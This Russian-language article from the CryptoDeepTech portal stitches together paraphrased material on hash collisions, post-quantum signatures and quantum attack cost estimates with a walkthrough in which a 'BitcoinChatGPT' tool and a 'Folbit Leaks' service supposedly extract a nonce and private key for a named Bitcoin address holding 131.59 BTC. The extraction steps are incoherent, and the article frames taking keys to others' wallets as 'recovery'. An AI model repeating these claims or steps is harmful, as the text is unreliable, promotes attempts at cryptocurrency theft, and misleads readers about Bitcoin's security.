1. Определение хеш-функций: Необходимо определить те хеш-функции, в которых требуется найти коллизии (h1 и h2 в контексте Momentum PoW). В реальных системах это могут быть SHA256 или другие криптографические хеш-функции.

2. Реализация поиска коллизий: Для поиска коллизий можно использовать различные методы, от простых (brute-force) до более сложных (например, birthday attack).

Вот пример Python скрипта, демонстрирующий поиск коллизий «в лоб» для упрощенной хеш-функции (для демонстрационных целей, небезопасной):

Python-скрипт: CollisionHunter.py

Что делает этот скрипт:

1. simple_hash(data, modulus): Упрощенная хеш-функция. Она берет SHA256 от данных, преобразует хеш в целое число и берет остаток от деления на modulus. Важно: Эта хеш-функция предназначена только для демонстрационных целей. Она не является криптографически безопасной. Не используйте ее в реальных приложениях.

2. find_collision(hash_function, modulus, max_attempts=100000): Эта функция пытается найти коллизию для заданной хеш-функции. Она генерирует случайные данные, вычисляет их хеш и сохраняет в словаре seen_hashes. Если сгенерированный хеш уже есть в словаре, значит, мы нашли коллизию.

3. В примере использования мы устанавливаем размер хеш-таблицы (modulus) равным 256 и запускаем поиск коллизий.

4. Этот код ищет коллизии «в лоб», то есть просто перебирает случайные значения и проверяет, не было ли уже такого хеша. Этот метод работает только для очень простых хеш-функций с небольшим выходным диапазоном.

Ключевые моменты и предупреждения:

• Небезопасность simple_hash: Хеш-функция simple_hash крайне уязвима для атак и не подходит для реальных криптографических задач. Она используется только для демонстрации принципа поиска коллизий.

• Сложность поиска коллизий: Поиск коллизий для криптографически стойких хеш-функций, таких как SHA256, является чрезвычайно сложной задачей. Прямой перебор (brute-force) невозможен из-за огромного размера выходного пространства хеш-функции.

• Birthday attack: Более эффективным методом поиска коллизий (по сравнению с полным перебором) является birthday attack. Этот метод основан на парадоксе дней рождения и позволяет найти коллизию примерно за sqrt(N) операций, где N — размер выходного пространства хеш-функции. Однако, даже для birthday attack, требуются огромные вычислительные ресурсы для SHA256.

• Алгоритм Momentum: Для реализации алгоритма Momentum потребовалось бы также реализовать h2 и логику проверки h1(H k a k b) ≤ t.

• Ресурсы для изучения: Изучите «Проблемы коллизий и методы их решения«, «Хэш-таблицы в Python: Как они работают и зачем нужны», «Список с хеш-коллизиями» и другие материалы, чтобы глубже понять проблему.

Этот пример служит отправной точкой. Для более сложных сценариев (например, birthday attack или интеграции с Momentum)

Постквантовых схемы подписи

В научной литературе предложено множество схем цифровой подписи с открытым ключом, предположительно устойчивых к квантовым компьютерам.

Схемы на основе хеширования, такие как XMSS, имеют преимущество в виде доказуемой безопасности, по крайней мере, если выбранная хеш-функция ведет себя как случайный оракул. Общая квантовая атака на эти схемы заключается в использовании алгоритма Гровера, что означает, что их квантовый уровень безопасности составляет половину классического уровня безопасности.

В отличие от этого, лучшая известная квантовая атака на DILITHIUM при 138-битном классическом уровне безопасности требует времени 2^125. Таким образом, при одинаковом уровне квантовой безопасности схемы на основе решеток имеют некоторое преимущество в длине подписи плюс открытый ключ.

Хотя схема на основе решеток BLISS имеет наименьшую сумму длин подписи и открытого ключа из всех схем в таблице II, есть несколько причин не выбирать BLISS на практике. Безопасность BLISS основана на сложности задачи NTRU и предположении, что решение этой задачи эквивалентно поиску короткого вектора в так называемой решетке NTRU. Недавно было показано, что это предположение может быть слишком оптимистичным, по крайней мере, для больших параметров. Более того, существует история атак на предыдущие схемы подписи на основе NTRU. Возможно, самое главное, BLISS трудно реализовать безопасным способом, поскольку она очень восприимчива к атакам по побочным каналам. Производственная реализация BLISS strongSwan была атакована таким образом Песслом и др., которые показали, что ключ подписи может быть восстановлен после наблюдения примерно за 6000 генерациями подписи.

Когда заходит речь о защите от квантовых компьютеров, существует много разных способов шифрования данных. Самые популярные методы включают использование хеш-функций и математических решеток.

• Хеш-функции: Этот способ хорош тем, что его безопасность можно доказать, но квантовые компьютеры могут немного ускорить взлом такого шифра.

• Решетки: Этот способ выглядит более перспективным с точки зрения защиты от квантовых компьютеров, но у него есть свои недостатки. Например, алгоритм BLISS, основанный на решетках, очень уязвим для атак, которые используют информацию о работе компьютера (например, энергопотребление) для кражи ключа.

Оценка накладных расходов на исправление ошибок при квантовой атаке

Как рассчитываются коэффициенты накладных расходов для квантовой коррекции ошибок, чтобы получить оценки затрат ресурсов для квантовых атак на блокчейны и цифровые подписи.

Если заглянуть на несколько лет вперед, можно предположить правдоподобные улучшения в технологии квантовых компьютеров. Если предположить код квантовой коррекции ошибок, поддерживающий трансверсальные вентили Клиффорда и не-Клиффорда, так что нет замедления дистилляции, и что это делается без измерения, так что не требуется никакой классической обработки синдрома ошибок, то количество циклов, необходимых для одного вызова оракула, определяется исключительно глубиной схемы, которая составляет 2142094.Это основано на общей глубине схемы, рассчитанной следующим образом. Оракул вызывает два вызова хеш-функции SHA256, и это делается дважды: один раз для ее вычисления и один раз для ее отмены. Каждый хеш имеет обратимую глубину схемы 528768.

Чтобы оценить, сколько ресурсов нужно для квантовой атаки на блокчейн или цифровые подписи, нужно учитывать много факторов, в том числе количество определенных квантовых операций (T-вентилей и вентилей Клиффорда) и способы исправления ошибок в квантовом компьютере. Если предположить, что квантовые компьютеры в будущем станут лучше и смогут быстро и эффективно исправлять ошибки, то скорость взлома (скорость хеширования) может значительно возрасти.

Важно понимать, что эти скрипты предназначены для симуляции квантовых вычислений на классическом компьютере, поскольку для выполнения на реальном квантовом компьютере требуется специализированное оборудование и доступ к нему.

Пример 1: Qiskit (IBM) Qiskit — одна из самых популярных библиотек для квантового программирования на Python 237. Она предоставляет инструменты для создания, симуляции и выполнения квантовых схем.

Python-скрипт: QuBitWizard.py

В этом примере:

QuantumCircuit(2, 2): Создает квантовую схему с 2 кубитами и 2 классическими битами для хранения результатов измерений.circuit.h(0)

Пример 2: pyQuil (Rigetti) pyQuil — это библиотека от компании Rigetti Computing, ориентированная на квантовые компьютеры на сверхпроводниках.

Python-скрипт: WaveMaster.py

В этом примере:Program(): Создает объект, представляющий квантовую программу.H(0), CNOT(0, 1), T(0): Применяет вентили Хадамара, CNOT и T к указанным кубитам.WavefunctionSimulator(): Создает симулятор квантовых вычислений.simulator.simulate(program): Симулирует выполнение программы и возвращает волновую функцию, описывающую состояние кубитов после выполнения программы.

Python-скрипт: CirqQuantumCircuit.py

В этом примере, Cirq используется для тех же операций, что и в предыдущих примерах, но с использованием синтаксиса Cirq.

Важные замечания:

Установка библиотек: Перед запуском этих скриптов необходимо установить соответствующие библиотеки. Например, для Qiskit: pip install qiskit qiskit-aer qiskit-visualization.

Эти примеры дают отправную точку для экспериментов с квантовыми операциями (включая T-вентили и вентили Клиффорда) с использованием Python и квантовых библиотек.

Например, если использовать определенные технологии и очень оптимистичные прогнозы, то скорость хеширования может достигать огромных значений, что сильно упростит квантовые атаки.

Моделирование развития хешрейта и сложности сети биткоин

Общее количество хешей в секунду во всей сети Биткоин берётся с blockchain info. Данные на рисунке 5(a) представляют собой скорости хеширования на первое января (2012–2015 гг.) и первое января и июля (2016–2017 гг.). Две пунктирные кривые соответствуют оптимистичным и менее оптимистичным предположениям для экстраполяций. Оптимистичная экстраполяция предполагает, что текущий рост будет продолжаться экспоненциально в течение пяти лет, а затем перейдёт в линейный рост по мере насыщения рынка полностью оптимизированными ASIC-майнерами Биткоина. Таким образом, сложность хеширования Биткоина рассчитывается как D(t) = rate(t) * 600 * 2^(-32) для двух сценариев, описанных выше. На рисунке 5(b) это сравнивается со значениями с blockchain.info на первое января 2015–2017 гг.

Чтобы предсказать, как изменится сложность майнинга Биткоина, анализируют, как быстро растёт вычислительная мощность сети (хешрейт). Данные о хешрейте берут с сайта blockchain.info и строят графики, показывающие, как хешрейт менялся в прошлом.

Делают два прогноза:

1. Оптимистичный: Хешрейт продолжит расти очень быстро, пока все не перейдут на самые современные майнеры.

2. Менее оптимистичный: Хешрейт будет расти с той же скоростью, что и сейчас.

Используя эти прогнозы, можно рассчитать, насколько сложнее станет майнить Биткоин в будущем. Сложность вычисляется на основе того, сколько хешей нужно сделать, чтобы найти новый блок1. Чем выше хешрейт, тем выше сложность.

Моделирование развития квантовых компьютеров

При моделировании необходимо учитывать несколько аспектов развития квантовых технологий. Поскольку на данном раннем этапе развития доступно лишь несколько точек данных, в наших оценках неизбежно присутствует большая неопределенность. Поэтому мы приводим две различные оценки: одну, оптимистичную по отношению к темпам развития, и другую, значительно более пессимистичную. Тем не менее, эти прогнозы следует рассматривать как очень приблизительную оценку, которая может потребовать адаптации в будущем. Во-первых, нам нужно сделать предположение о количестве кубитов, доступных в любой момент времени. Поскольку мы сосредотачиваемся только на твердотельных сверхпроводящих реализациях, доступно лишь несколько точек данных.

Мы предполагаем, что количество доступных кубитов будет расти экспоненциально со временем в ближайшем будущем. Оптимистичное предположение состоит в том, что число будет удваиваться каждые 10 месяцев, тогда как менее оптимистичное предположение предполагает, что число удваивается каждые 20 месяцев. Эти две экстраполяции показаны на рисунке 6(a). Точки данных взяты из следующей таблицы: (таблица не приведена).

Прогнозировать развитие квантовых компьютеров сложно, потому что у нас пока мало информации. Поэтому авторы статьи сделали два прогноза, которые отличаются друг от друга:

• Оптимистичный прогноз: Квантовые компьютеры будут развиваться очень быстро, и количество кубитов (основных «кирпичиков» квантовых вычислений) будет удваиваться каждые 10 месяцев.

• Пессимистичный прогноз: Развитие квантовых компьютеров будет идти медленнее, и количество кубитов будет удваиваться каждые 20 месяцев.

Оба прогноза, скорее всего, не очень точные, но они помогают понять, как быстро могут развиваться квантовые компьютеры и когда они могут стать угрозой для существующих систем защиты информации

Мы прогнозируем, что частота квантовых вентилей будет расти экспоненциально в течение следующих нескольких лет. Это предполагает, что классические схемы управления будут достаточно быстрыми, чтобы управлять квантовыми вентилями на этих частотах. Через пару лет рост значительно замедляется, поскольку для дальнейшего ускорения квантовых вентилей необходимы более быстрые классические схемы управления. Мы ограничиваем частоту квантовых вентилей на уровне 50 ГГц (для оптимистичного случая) или 5 ГГц (для менее оптимистичного случая), соответственно, главным образом потому, что ожидаем, что классические схемы управления не смогут управлять квантовыми вентилями на более высоких частотах. (См., например, [HHOI11] о прогрессе в этом направлении.)

В статье также прогнозируется, как быстро будут работать квантовые компьютеры, то есть как часто они смогут выполнять основные операции (квантовые вентили).

• Прогноз: Сначала скорость работы квантовых компьютеров будет расти очень быстро, но потом рост замедлится.

• Ограничение: Авторы считают, что есть предел скорости, который сложно будет превысить, потому что для управления квантовыми компьютерами нужны очень быстрые «обычные» (классические) компьютеры. Если обычные компьютеры не смогут успевать, то и квантовые компьютеры не смогут работать быстрее.

Оптимистичный прогноз предполагает, что скорость работы квантовых компьютеров достигнет 50 ГГц, а пессимистичный — только 5 ГГц.

На рисунке 6 представлены прогнозы количества кубитов, частоты квантовых вентилей (в операциях вентилей в секунду) и неточности квантовых вентилей в зависимости от времени. Четвертый график моделирует снижение накладных расходов из-за теоретических достижений. Предсказанное развитие неточности вентилей показано на рисунке 6(c). Мы предполагаем, что неточность вентилей продолжит падать экспоненциально, но что это развитие остановится на неточности 5 · 10^-6 (оптимистичный случай) или 5 · 10^-5 (менее оптимистичный случай). Для оптимистичного случая мы ожидаем, что неточность вентилей продолжит следовать закону ДиВинченцо, который предсказывает уменьшение неточности в 2 раза в год. Данные взяты из следующей таблицы: (таблица не приведена).

Помимо количества кубитов и скорости их работы, важно учитывать, насколько хорошо они работают, то есть насколько часто они делают ошибки.

Это называется «неточность вентилей».

• Прогноз: Ожидается, что квантовые компьютеры будут становиться точнее, и количество ошибок будет уменьшаться.

• Ограничение: Но есть предел, после которого улучшить точность будет очень сложно. Оптимистичный прогноз предполагает, что неточность снизится до 5 на миллион, а пессимистичный — до 5 на 100 тысяч.

Чем точнее работают кубиты, тем меньше нужно дополнительных ресурсов (кубитов и времени) для исправления ошибок.

Наконец, мы предполагаем, что количество кубитов и временных шагов, требуемых любым алгоритмом, будет уменьшаться с течением времени по двум причинам. Во-первых, точность вентилей будет увеличиваться со временем и, таким образом, позволит использовать более эффективные отказоустойчивые схемы. Во-вторых, теоретические достижения позволят уменьшить количество кубитов и вентилей, необходимых для реализации алгоритма и отказоустойчивых схем. Мы ожидаем, что этот фактор будет overhead(t) = β^(t-2017), где β ∈ {0.75, 0.85} для оптимистичных и менее оптимистичных предположений, соответственно.

Со временем для решения задач на квантовых компьютерах потребуется меньше ресурсов (кубитов и времени) благодаря двум вещам:

1. Улучшение точности кубитов: Чем точнее работают кубиты, тем меньше нужно дополнительных усилий для исправления ошибок.

2. Теоретические прорывы: Ученые будут разрабатывать новые алгоритмы и методы, которые позволят делать те же вычисления, используя меньше кубитов и операций.

Чтобы оценить, насколько сильно уменьшатся требования к ресурсам, они вводят специальный коэффициент, который зависит от времени и от того, насколько оптимистично мы смотрим на будущее. Этот коэффициент показывает, во сколько раз можно будет сократить количество необходимых кубитов и времени.

Процесс выявления критической уязвимости в транзакции

1. ↩︎

Для поиск уязвимости RawTX, как предотвращение угрозы для собственного криптовалютного кошелька Bitcoin и Ethereum мы можем воспользоваться и применить на примерах различных методов машинного обучение.

Воспользуемся списком из “Dockeyhunt Deep Learning” широко применяемая категория искусственного интеллекта для введение бизнеса в различных сферах деятельности криптоанализа и крипографии в целом.

BitcoinChatGPT — это инновационный чат-бот на базе искусственного интеллекта, который помогает пользователям находить уязвимости в транзакциях криптовалюты Bitcoin. Преимущества и классификации BitcoinChatGPT дают возможность проверить ваш адрес Bitcoin на предмет различных схем атак на криптокошельки. Машинное обучение на основе криптоанализа дает нам полную возможность исследовать различные атаки на алгоритмы, используемые в экосистеме Bitcoin. Инструменты для извлечения приватного ключа из реестра Bitcoin Wallet широко популярны, где BitcoinChatGPT служит важным и полезным ресурсом для кибербезопасности.

Создания Raw транзакции с помощью процесса машинного обучение BitcoinChatGPT

Рассмотрим построение структуры уязвимой Raw транзакции в котором используется модуль BitcoinChatGPT. В качестве примера возьмем адрес Биткоин кошелька: 1MjGyKiRLzq4WeuJKyFZMmkjAv7rH1TABm на сумму: 131.59300888 BTC и получим HASH публичный ключ. Затем, используя BitcoinChatGPT, создадим уязвимость Raw транзакций, что позволит нам проанализировать и манипулировать данными подписи алгоритма ECDSA.

Получим HASH публичный ключ используя Python-скрипт: wif_to_hash160.py

Для реализации декодирования Base58 установим пакет:

!pip3 install base58

Запустим BitcoinChatGPT

%run BitcoinChatGPT

How to create a vulnerable transaction in Bitcoin for the hashed version of the public key Bitcoin HASH160: e361516c3163a3d997d7b270c4378816a86343de

Соединим все выданные значение в одну общую строку с помощью Python-скрипта

combinex.py:

В результате мы получаем уязвимую транзакцию RawTX как мы знаем в контексте блокчейна Биткоина относится к сырым данным транзакции, которые хранятся в блокчейне в форме двойного хеширования. Это означает, что RawTX проходит через алгоритм SHA256 дважды, чтобы получить хэш транзакции, который виден в блокчейне. Этот хэш известен как txid (идентификатор транзакции).

Процесс компрометации извлечения секретного ключа Nonce значение K

Запустим BitcoinChatGPT

%run BitcoinChatGPT

How a vulnerable RawTX transaction in the Bitcoin blockchain can be compromised to extract the secret key Nonce value K using mathematical methods

BLOCKCHAIN FOLBIT LEAKS

Декодируем уязвимую RawTX транзакцию с помощью функции сервиса BLOCKCHAIN FOLBIT LEAKS

Результат значение K секретного ключа Nonce в формате HEX

K = 39588951cd20e38a6dc86d6b436da7abd2bcad84af3dd16b6f8a83c946c1d3c6

Для получение всех остальных значении из уязвимой RawTX транзакции воспользуемся сервисом RSZ Signature Decoder

Результат значении для R, S, Z в формате HEX

R = aafe80d17b0d30de09cbe39a85514aaae0a388135987ab80207e1eed3c915280 S = 0d46fb28a4b30599d33325aa8b7633dd0f584f8125bb2e136c88a3e91a6f4238 Z = bbfd05c3355957cbdf44d283b9199eb9741f775a16081288187a82f544fac11f

Для получение значении X приватного ключа из формулы: priv_key = ((((S * K) - Z) * modinv(R, N)) % N) воспользуемся программным обеспечением Dockeyhunt Private Key Calculator

В результате мы получаем значение X приватный ключ в формате HEX

X = 0x38717b5161c2e817020a0933e1836dd0127bdef59732d77daca20ccfbf61a7ae

Проверим полученный результат приватного ключа с помощью машинного обучения

Запустим BitcoinChatGPT

%run BitcoinChatGPT

Apply the BLOCKCHAIN FOLBIT LEAKS function to extract the private key from a vulnerable RawTX transaction in the Bitcoin cryptocurrency

В конечном итоге модуль BitcoinChatGPT выдает ответ в файл:

KEYFOUND.privkey сохранив приватный ключ в двух наиболее используемых форматах HEX & WIF

https://github.com/demining/CryptoDeepTools/blob/main/38QuantumAttacks/KEYFOUND.privkey

============================= KEYFOUND.privkey =============================

Private Key HEX: 0x38717b5161c2e817020a0933e1836dd0127bdef59732d77daca20ccfbf61a7ae

Private Key WIF: 5JF9ME7zdGLDd3oyuMG7RfwgA1ByjZb2LbSwRMwM8ZKBADFLfCx

Bitcoin Address: 1MjGyKiRLzq4WeuJKyFZMmkjAv7rH1TABm

Balance: 131.59300888 BTC

============================= KEYFOUND.privkey =============================

Для реализации кода установим пакет Bitcoin. Эта библиотека позволяет создавать кошельки, взаимодействовать с блокчейном, создавать и подписывать транзакции, а также работать с различными форматами адресов и приватных ключей криптовалюты Биткоин.

!pip3 install bitcoin

Запустим код для проверки соответствие Биткоин Адреса:

__________________________________________________ Private Key WIF: 38717b5161c2e817020a0933e1836dd0127bdef59732d77daca20ccfbf61a7ae Bitcoin Address: 1MjGyKiRLzq4WeuJKyFZMmkjAv7rH1TABm total_received = 131.59300888 Bitcoin __________________________________________________

Все верно! Приватный ключ соответствует Биткоин Кошельку.

Откроем bitaddress и проверим:

https://cryptodeeptech.ru/bitaddress.html

ADDR: 1MjGyKiRLzq4WeuJKyFZMmkjAv7rH1TABm WIF: 5JF9ME7zdGLDd3oyuMG7RfwgA1ByjZb2LbSwRMwM8ZKBADFLfCx HEX: 38717b5161c2e817020a0933e1836dd0127bdef59732d77daca20ccfbf61a7ae

Заключение и действия по снижению опасности.

В этой статье мы изучили методы восстановления доступа к утерянным криптовалютным кошелькам и приватным ключам с помощью математических алгоритмов, таких как решение дискретного логарифма и проблема скрытых чисел, а также утечки данных BLOCKCHAIN FOLBIT LEAKS. Мы продемонстрировали, как использовать программное обеспечение для извлечения приватных ключей из уязвимых транзакций, что показало, что даже в безопасных системах, таких как Bitcoin, существуют уязвимости, которые можно использовать для восстановления доступа к потерянным средствам.

Для защиты от угроз, связанных с уязвимостью RawTX транзакции криптовалюты Биткоин, пользователям необходимо предпринять следующие шаги:

1. Обновление программного обеспечения: Регулярное обновление криптовалютных кошельков до версий, устраняющих уязвимости, критически важно для обеспечения безопасности.

2. Улучшение механизмов проверки подписей: Усиленная валидация входных данных и обработка ошибок помогут предотвратить создание поддельных подписей и защитить приватные ключи пользователей.

3. Мониторинг сетевой активности: Постоянный анализ состояния сети и выявление подозрительных транзакций на ранних этапах позволяют оперативно реагировать на попытки эксплуатации уязвимостей.

4. Применение многофакторной аутентификации: Внедрение дополнительных криптографических методов защиты значительно повысит безопасность.

Для защиты от потенциальных атак, связанных с уязвимостью RawTX в транзакциях Bitcoin, пользователям рекомендуется обновлять программное обеспечение своих кошельков до последних версий. Регулярные обновления, использование систем мониторинга аномалий и повышение информированности пользователей о потенциальных угрозах будут способствовать поддержанию безопасности и целостности криптовалютных систем.

Уязвимость RawTX в транзакциях Bitcoin создает серьезную угрозу для безопасности криптовалютных операций и целостности блокчейна. Чтобы снизить риски, пользователям необходимо регулярно обновлять программное обеспечение, внедрять строгие меры безопасности и осуществлять постоянный контроль над состоянием сети. Эти действия будут способствовать поддержанию безопасности и стабильности криптовалютных систем, защищая пользователей от потенциальных атак и финансовых потерь.

Наше исследование показывает значимость математического анализа в криптовалютах и демонстрирует потенциал использования сложных математических методов для решения практических задач в криптоанализе. Однако эти методы могут быть применены как для восстановления доступа к утерянным средствам, так и для использования уязвимостей, что подчеркивает необходимость усиления безопасности криптовалютных систем.

References:

1. Analyzing Quantum Vulnerabilities: The Insecurity of Classical Proof Systems in Quantum Contexts

2. Enhancing Security: The Impact of Iteration on Quantum Attacks Against Block Ciphers

3. Assessing Quantum Threats to Bitcoin: Risks and Protective Strategies for Cryptocurrencies

4. Quantum Threats to Pseudorandom Generators: Analyzing Attacks on the Blum-Micali Generator

5. Advancing Quantum Collision Attacks: Analyzing SHA-256 and SHA-512 Vulnerabilities

6. Exploring Quantum Vulnerabilities: Attacks on Beyond-Birthday-Bound MAC’s

7. Enhancing Quantum Cybersecurity: Advanced Variational Attacks on Cryptographic Protocols

8. Exploring Practical Quantum Cryptography: Capabilities, Implementations, and Attack Vulnerabilities

9. Navigating the Shift to Quantum Resistance: Preparing for the Future of Cryptography

10. Securing the Quantum Age: Exploring Quantum-Resistant Cryptographic Protocols

11. Quantum-Resistant Code-Based Cryptosystem: A Novel Approach Using Repetition of Error-Correcting Codes

12. Assessing Electromagnetic Side-Channel Attack Risks in Quantum Key Distribution Receivers Using Multi-Class Classification

13. Managing Cryptographic and Quantum Risks: A Practical Guide for Organizations

14. Enhancing Cloud Security: Quantum Cryptography Algorithms for Robust Data Storage and Processing

15. Transitioning to Quantum-Safe Cryptography on IBM Z: A Guide for Secure Data Protection

16. Post-Quantum Attacks on Symmetric-Key Cryptography: Analyzing Vulnerabilities and Defense Strategies

17. Report on Post-Quantum Cryptography: NIST’s Strategies for Securing Digital Communications Against Quantum Threats

18. Quantum Computing and Cybersecurity: Navigating Emerging Threats and Mitigation Strategies

19. Revolutionizing Currency: The Concept and Development of Quantum Money

20. Post-Quantum Cryptography: Preparing for Quantum Threats and Securing the Future of Encryption

21. Ensuring Digital Sovereignty: The Critical Role of Cryptographic Security in Europe

22. Preparing for the Quantum Threat: Safeguarding Sensitive Information Against Future Risks

23. Defending Quantum Private Communication: Strategies Against Trojan Horse Attacks

24. Bitcoin’s Quantum Resistance: A Commit-Delay-Reveal Protocol for Secure Transition

25. Project Leap: Safeguarding the Financial System in the Quantum Era

26. Quantum Threats to Bitcoin: Vulnerabilities and Mitigation Strategies

27. Navigating the Quantum Frontier: Understanding Quantum Computing and the Rise of Post-Quantum Cryptography

28. Quantum Origin: Revolutionizing Cryptographic Key Generation with Verifiable Quantum Randomness

29. Developing Quantum-Resistant Cryptography: Encryption for a Post-Quantum World

30. Quantum-Safe Cryptography: Addressing the Challenges and Opportunities in a Quantum Computing Era

31. The Quantum Computing Revolution: Implications for Modern Cryptographic Security

32. Private-Key & Public-Key Cryptography in the Quantum Era: Security Risks and Future Strategies

33. The Quantum Risk Paradox: Why the Threat Is Already Here (Quantum Threat Timeline)

Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.

Исходный код

Google Colab

BitcoinChatGPT

Blockchain Folbit Leaks

Dockeyhunt Deep Learning

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/p62orC7WDUE

Video tutorial: https://dzen.ru/video/watch/67c3e91abbfa683a745a0aea

Источник: https://cryptodeeptool.ru/quantum-attacks-on-bitcoin